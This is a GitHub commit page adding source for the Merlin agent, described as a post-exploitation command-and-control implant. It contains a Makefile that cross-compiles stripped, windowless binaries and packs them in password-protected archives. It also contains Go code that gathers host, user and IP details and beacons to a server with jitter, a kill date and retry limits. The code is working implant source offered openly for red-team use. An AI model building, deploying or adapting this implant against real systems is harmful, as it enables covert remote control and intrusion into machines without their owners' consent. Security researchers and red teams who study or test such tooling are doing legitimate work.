-
Notifications
You must be signed in to change notification settings - Fork 56
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
37 changed files
with
6,234 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
*.go linguist-language=Go |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
.DS_STORE | ||
.idea/ | ||
agent/data | ||
bin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
# !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!! | ||
|
||
# Agent file names | ||
W=Windows-x64 | ||
L=Linux-x64 | ||
A=Linux-arm | ||
M=Linux-mips | ||
D=Darwin-x64 | ||
|
||
# Merlin version number | ||
VERSION=$(shell cat ./core/core.go |grep "var Version ="|cut -d"\"" -f2) | ||
|
||
MAGENT=merlinAgent | ||
PASSWORD=merlin | ||
BUILD=$(shell git rev-parse HEAD) | ||
DIR=bin/v${VERSION}/${BUILD} | ||
|
||
# Merlin Agent Variables | ||
XBUILD=-X main.build=${BUILD} -X github.com/Ne0nd0g/merlin-agent/agent.build=${BUILD} | ||
URL ?= https://127.0.0.1:443 | ||
XURL=-X main.url=${URL} | ||
PSK ?= merlin | ||
XPSK=-X main.psk=${PSK} | ||
PROXY ?= | ||
XPROXY =-X main.proxy=$(PROXY) | ||
HOST ?= | ||
XHOST =-X main.host=$(HOST) | ||
PROTO ?= h2 | ||
XPROTO =-X main.protocol=$(PROTO) | ||
JA3 ?= | ||
XJA3 =-X main.ja3=$(JA3) | ||
|
||
# Compile Flags | ||
LDFLAGS=-ldflags "-s -w ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XPSK} ${XPROXY} -buildid=" | ||
WINAGENTLDFLAGS=-ldflags "-s -w ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XPSK} ${XPROXY} -H=windowsgui -buildid=" | ||
GCFLAGS=-gcflags=all=-trimpath=$(GOPATH) | ||
ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)# -asmflags=-trimpath=$(GOPATH) | ||
|
||
# Package Command | ||
PACKAGE=7za a -p${PASSWORD} -mhe -mx=9 | ||
F=LICENSE | ||
|
||
# Make Directory to store executables | ||
$(shell mkdir -p ${DIR}) | ||
|
||
# Change default to just make for the host OS and add MAKE ALL to do this | ||
default: | ||
go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT} ./main.go | ||
|
||
all: windows linux darwin | ||
|
||
# Compile Agent - Windows x64 | ||
windows: | ||
export GOOS=windows GOARCH=amd64;go build -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go | ||
|
||
# Compile Agent - Linux mips | ||
mips: | ||
export GOOS=linux;export GOARCH=mips;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${M} ./main.go | ||
|
||
# Compile Agent - Linux arm | ||
arm: | ||
export GOOS=linux;export GOARCH=arm;export GOARM=7;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${A} ./main.go | ||
|
||
# Compile Agent - Linux x64 | ||
linux: | ||
export GOOS=linux;export GOARCH=amd64;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go | ||
|
||
# Compile Agent - Darwin x64 | ||
darwin: | ||
export GOOS=darwin;export GOARCH=amd64;go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go | ||
|
||
package-windows: | ||
${PACKAGE} ${DIR}/${MAGENT}-${W}.7z ${F} | ||
cd ${DIR};${PACKAGE} ${MAGENT}-${W}.7z ${MAGENT}-${W}.exe | ||
|
||
package-linux: | ||
${PACKAGE} ${DIR}/${MAGENT}-${L}.7z ${F} | ||
cd ${DIR};${PACKAGE} ${MAGENT}-${L}.7z ${MAGENT}-${L} | ||
|
||
package-darwin: | ||
${PACKAGE} ${DIR}/${MAGENT}-${D}.7z ${F} | ||
cd ${DIR};${PACKAGE} ${MAGENT}-${D}.7z ${MAGENT}-${D} | ||
|
||
clean: | ||
rm -rf ${DIR}* | ||
|
||
package-all: package-windows package-linux package-darwin | ||
|
||
#Build all files for release distribution | ||
distro: clean all package-all |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,19 @@ | ||
# merlin-agent | ||
[![AppVeyor](https://ci.appveyor.com/api/projects/status/github/Ne0nd0g/merlin-agent?branch=master&svg=true)](https://ci.appveyor.com/project/Ne0nd0g/merlin-agent) | ||
[![GoReportCard](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent) | ||
[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) | ||
[![Release](https://img.shields.io/github/release/Ne0nd0g/merlin-agent.svg)](https://github.com/Ne0nd0g/merlin-agent/releases/latest) | ||
[![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin-agent/total.svg)](https://github.com/Ne0nd0g/merlin-agent/releases) | ||
[![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2) | ||
|
||
# Merlin Agent | ||
|
||
<p align="center"> | ||
<img src="https://i.imgur.com/4iKuvuj.jpg" height="30%" width="30%"> | ||
</p> | ||
|
||
This repository contains the Agent code for [Merlin](https://github.com/Ne0nd0g/merlin) post-exploitation command and | ||
control framework. | ||
|
||
> Compiled versions of the agent for all Operating Systems are distributed in release packages from the main project | ||
Documentation for the project can be found at https://merlin-c2.readthedocs.io/en/latest/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,255 @@ | ||
// Merlin is a post-exploitation command and control framework. | ||
// This file is part of Merlin. | ||
// Copyright (C) 2021 Russel Van Tuyl | ||
|
||
// Merlin is free software: you can redistribute it and/or modify | ||
// it under the terms of the GNU General Public License as published by | ||
// the Free Software Foundation, either version 3 of the License, or | ||
// any later version. | ||
|
||
// Merlin is distributed in the hope that it will be useful, | ||
// but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
// GNU General Public License for more details. | ||
|
||
// You should have received a copy of the GNU General Public License | ||
// along with Merlin. If not, see <http://www.gnu.org/licenses/>. | ||
|
||
package agent | ||
|
||
import ( | ||
// Standard | ||
"fmt" | ||
"math/rand" | ||
"net" | ||
"os" | ||
"os/user" | ||
"runtime" | ||
"strconv" | ||
"time" | ||
|
||
// 3rd Party | ||
"github.com/satori/go.uuid" | ||
|
||
// Merlin Main | ||
"github.com/Ne0nd0g/merlin/pkg/messages" | ||
|
||
// Internal | ||
"github.com/Ne0nd0g/merlin-agent/cli" | ||
"github.com/Ne0nd0g/merlin-agent/clients" | ||
"github.com/Ne0nd0g/merlin-agent/core" | ||
) | ||
|
||
// GLOBAL VARIABLES | ||
var build = "nonRelease" // build is the build number of the Merlin Agent program set at compile time | ||
|
||
// Agent is a structure for agent objects. It is not exported to force the use of the New() function | ||
type Agent struct { | ||
ID uuid.UUID // ID is a Universally Unique Identifier per agent | ||
Client clients.ClientInterface // Client is an interface for clients to make connections for agent communications | ||
Platform string // Platform is the operating system platform the agent is running on (i.e. windows) | ||
Architecture string // Architecture is the operating system architecture the agent is running on (i.e. amd64) | ||
UserName string // UserName is the username that the agent is running as | ||
UserGUID string // UserGUID is a Globally Unique Identifier associated with username | ||
HostName string // HostName is the computer's host name | ||
Ips []string // Ips is a slice of all the IP addresses assigned to the host's interfaces | ||
Pid int // Pid is the Process ID that the agent is running under | ||
iCheckIn time.Time // iCheckIn is a timestamp of the agent's initial check in time | ||
sCheckIn time.Time // sCheckIn is a timestamp of the agent's last status check in time | ||
Version string // Version is the version number of the Merlin Agent program | ||
Build string // Build is the build number of the Merlin Agent program | ||
WaitTime time.Duration // WaitTime is how much time the agent waits in-between checking in | ||
MaxRetry int // MaxRetry is the maximum amount of failed check in attempts before the agent quits | ||
Skew int64 // Skew is size of skew added to each WaitTime to vary check in attempts | ||
FailedCheckin int // FailedCheckin is a count of the total number of failed check ins | ||
Initial bool // Initial identifies if the agent has successfully completed the first initial check in | ||
KillDate int64 // killDate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used) | ||
} | ||
|
||
// Config is a structure that is used to pass in all necessary information to instantiate a new Agent | ||
type Config struct { | ||
Sleep string // Sleep is the amount of time the Agent will wait between sending messages to the server | ||
Skew string // Skew is the variance, or jitter, used to vary the sleep time so that it isn't constant | ||
KillDate string // KillDate is the date, as a Unix timestamp, that agent will quit running | ||
MaxRetry string // MaxRetry is the maximum amount of time an agent will fail to check in before it quits running | ||
} | ||
|
||
// New creates a new agent struct with specific values and returns the object | ||
func New(config Config) (*Agent, error) { | ||
cli.Message(cli.DEBUG, "Entering agent.New() function") | ||
|
||
agent := Agent{ | ||
ID: uuid.NewV4(), | ||
Platform: runtime.GOOS, | ||
Architecture: runtime.GOARCH, | ||
Pid: os.Getpid(), | ||
Version: core.Version, | ||
Initial: false, | ||
} | ||
|
||
rand.Seed(time.Now().UnixNano()) | ||
|
||
u, errU := user.Current() | ||
if errU != nil { | ||
return &agent, fmt.Errorf("there was an error getting the current user:\r\n%s", errU) | ||
} | ||
|
||
agent.UserName = u.Username | ||
agent.UserGUID = u.Gid | ||
|
||
h, errH := os.Hostname() | ||
if errH != nil { | ||
return &agent, fmt.Errorf("there was an error getting the hostname:\r\n%s", errH) | ||
} | ||
|
||
agent.HostName = h | ||
|
||
interfaces, errI := net.Interfaces() | ||
if errI != nil { | ||
return &agent, fmt.Errorf("there was an error getting the IP addresses:\r\n%s", errI) | ||
} | ||
|
||
for _, iface := range interfaces { | ||
addrs, err := iface.Addrs() | ||
if err == nil { | ||
for _, addr := range addrs { | ||
agent.Ips = append(agent.Ips, addr.String()) | ||
} | ||
} else { | ||
return &agent, fmt.Errorf("there was an error getting interface information:\r\n%s", err) | ||
} | ||
} | ||
|
||
// Parse config | ||
var err error | ||
// Parse KillDate | ||
if config.KillDate != "" { | ||
agent.KillDate, err = strconv.ParseInt(config.KillDate, 10, 64) | ||
if err != nil { | ||
return &agent, fmt.Errorf("there was an error converting the killdate to an integer:\r\n%s", err) | ||
} | ||
} else { | ||
agent.KillDate = 0 | ||
} | ||
// Parse MaxRetry | ||
if config.MaxRetry != "" { | ||
agent.MaxRetry, err = strconv.Atoi(config.MaxRetry) | ||
if err != nil { | ||
return &agent, fmt.Errorf("there was an error converting the max retry to an integer:\r\n%s", err) | ||
} | ||
} else { | ||
agent.MaxRetry = 7 | ||
} | ||
// Parse Sleep | ||
if config.Sleep != "" { | ||
agent.WaitTime, err = time.ParseDuration(config.Sleep) | ||
if err != nil { | ||
return &agent, fmt.Errorf("there was an error converting the sleep time to an integer:\r\n%s", err) | ||
} | ||
} else { | ||
agent.WaitTime = 30000 * time.Millisecond | ||
} | ||
// Parse Skew | ||
if config.Skew != "" { | ||
agent.Skew, err = strconv.ParseInt(config.Skew, 10, 64) | ||
if err != nil { | ||
return &agent, fmt.Errorf("there was an error converting the skew to an integer:\r\n%s", err) | ||
} | ||
} else { | ||
agent.Skew = 3000 | ||
} | ||
|
||
cli.Message(cli.INFO, "Host Information:") | ||
cli.Message(cli.INFO, fmt.Sprintf("\tAgent UUID: %s", agent.ID)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tPlatform: %s", agent.Platform)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tArchitecture: %s", agent.Architecture)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tUser Name: %s", agent.UserName)) //TODO A username like _svctestaccont causes error | ||
cli.Message(cli.INFO, fmt.Sprintf("\tUser GUID: %s", agent.UserGUID)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tHostname: %s", agent.HostName)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tPID: %d", agent.Pid)) | ||
cli.Message(cli.INFO, fmt.Sprintf("\tIPs: %v", agent.Ips)) | ||
cli.Message(cli.DEBUG, "Leaving agent.New function") | ||
|
||
return &agent, nil | ||
} | ||
|
||
// Run instructs an agent to establish communications with the passed in server using the passed in protocol | ||
func (a *Agent) Run() { | ||
rand.Seed(time.Now().UTC().UnixNano()) | ||
|
||
cli.Message(cli.NOTE, fmt.Sprintf("Agent version: %s", a.Version)) | ||
cli.Message(cli.NOTE, fmt.Sprintf("Agent build: %s", build)) | ||
|
||
for { | ||
// Verify the agent's kill date hasn't been exceeded | ||
if (a.KillDate != 0) && (time.Now().Unix() >= a.KillDate) { | ||
cli.Message(cli.WARN, fmt.Sprintf("agent kill date has been exceeded: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339))) | ||
os.Exit(0) | ||
} | ||
// Check in | ||
if a.Initial { | ||
cli.Message(cli.NOTE, "Checking in...") | ||
a.statusCheckIn() | ||
} else { | ||
msg, err := a.Client.Initial(a.getAgentInfoMessage()) | ||
if err != nil { | ||
a.FailedCheckin++ | ||
cli.Message(cli.WARN, err.Error()) | ||
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry)) | ||
} else { | ||
a.messageHandler(msg) | ||
a.Initial = true | ||
a.iCheckIn = time.Now().UTC() | ||
} | ||
} | ||
// Determine if the max number of failed checkins has been reached | ||
if a.FailedCheckin >= a.MaxRetry { | ||
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d", a.MaxRetry)) | ||
os.Exit(0) | ||
} | ||
// Sleep | ||
var sleep time.Duration | ||
if a.Skew > 0 { | ||
sleep = a.WaitTime + (time.Duration(rand.Int63n(a.Skew)) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK | ||
} else { | ||
sleep = a.WaitTime | ||
} | ||
cli.Message(cli.NOTE, fmt.Sprintf("Sleeping for %s at %s", sleep.String(), time.Now().UTC().Format(time.RFC3339))) | ||
time.Sleep(sleep) | ||
} | ||
} | ||
|
||
// statusCheckIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs | ||
func (a *Agent) statusCheckIn() { | ||
cli.Message(cli.DEBUG, "Entering into agent.statusCheckIn()") | ||
|
||
msg := getJobs() | ||
msg.ID = a.ID | ||
|
||
j, reqErr := a.Client.SendMerlinMessage(msg) | ||
|
||
if reqErr != nil { | ||
a.FailedCheckin++ | ||
cli.Message(cli.WARN, reqErr.Error()) | ||
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry)) | ||
|
||
// Put the jobs back into the queue if there was an error | ||
if msg.Type == messages.JOBS { | ||
a.messageHandler(msg) | ||
} | ||
return | ||
} | ||
|
||
a.FailedCheckin = 0 | ||
a.sCheckIn = time.Now().UTC() | ||
|
||
cli.Message(cli.DEBUG, fmt.Sprintf("Agent ID: %s", j.ID)) | ||
cli.Message(cli.DEBUG, fmt.Sprintf("Message Type: %s", messages.String(j.Type))) | ||
cli.Message(cli.DEBUG, fmt.Sprintf("Message Payload: %+v", j.Payload)) | ||
|
||
// Handle message | ||
a.messageHandler(j) | ||
|
||
} | ||
|
||
// TODO Update Makefile to remove debug stacktrace for agents only. GOTRACEBACK=0 #https://dave.cheney.net/tag/gotraceback https://golang.org/pkg/runtime/debug/#SetTraceback |
Oops, something went wrong.